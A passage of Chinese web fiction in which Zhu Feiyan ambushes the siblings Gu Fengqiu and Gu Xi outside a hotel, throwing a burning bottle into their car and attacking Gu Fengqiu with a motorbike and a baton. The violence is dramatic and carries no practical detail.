顾惜没回,只是慢条斯理帮他抚平衣领,语气温柔:“你想做什么尽管去做,不管是杀人还是放火,当姐姐的,当然会为你扫平一切。” “对了。”她像是想起什么一样,叮嘱补充道:以后少和莫子健那帮人接触,要多和明流那几人玩,他们才是你真正的朋友。” “不是狐朋狗友吗?”顾逢秋意兴索然地笑。 自打瞿柔那件事后,四人关系已经没有那么好了。因为那是他们第一次杀人,也是第一次窥见皇冠下黑暗的秘密。 …… 晚上十点五十,一辆帕加迪从车库开出,驶向泉溪酒店门口,司机随即推门下车,毕恭毕敬地拉开后车门。 等了一会,只见顾逢秋和顾惜并肩踏出金碧辉煌旋转门,门口的保安礼貌恭送,正当两人前后上车时,一辆红黑色的老旧摩的突然从街上飞驰而来,近乎以一种横冲直撞的方式冲向这里。 骑车的是个女人,手里还拎着一个燃烧着的啤酒瓶,那应该是仓促做出来的简易□□。 而看穿着打扮,赫然就是习惯性用口罩帽子遮脸的祝飞雁! 顾逢秋眼底倒映着熊熊燃烧的火焰,保持着上车的姿势,眼神极其震惊,就找过来了?她是什么神算子吗?! 马达声震耳欲聋,所有人下意识四散奔逃,场面一时间陷入了混乱。 “小心!”已经坐入副驾驶的顾惜立刻推车门,谁知□□根本不是冲顾逢秋去,而是被直接丢进了副驾驶! 摩的开出了跑车的架势,从车窗掠过的一瞬,顾惜只见一双沉冷肃杀的眼一掠而过,紧接着,瓶子抛进来,电光火石间火光瞬间在副驾驶里燃起,尽管顾惜第一时间抬起手臂抵挡,但还是没能阻挡火势,尖叫声顿起,她狼狈地推门下车,连忙扑灭火焰。 也就是这一刻,只见祝飞雁单脚刹车,摩的猛地甩尾撞上后车门,径直将顾逢秋撞飞一米远! 祝飞雁没有一刻停顿,丢下车,快步走向顾逢秋,保安来拦,她三下五除二踹飞两人,顺手抄起落在地上的电棍。 场面混乱,火光四射。 她单手持棍,身型凛冽。 “你、你要干什么!”顾逢秋白天被祝宴又打又踹,身上还痛着,摔这一下更是结结实实的痛,压根就站不起来,只能忙往后爬。 祝飞雁冷眼垂视,言简意赅:“干你。” 话落,她冷笑一声,痛快挥舞棍子。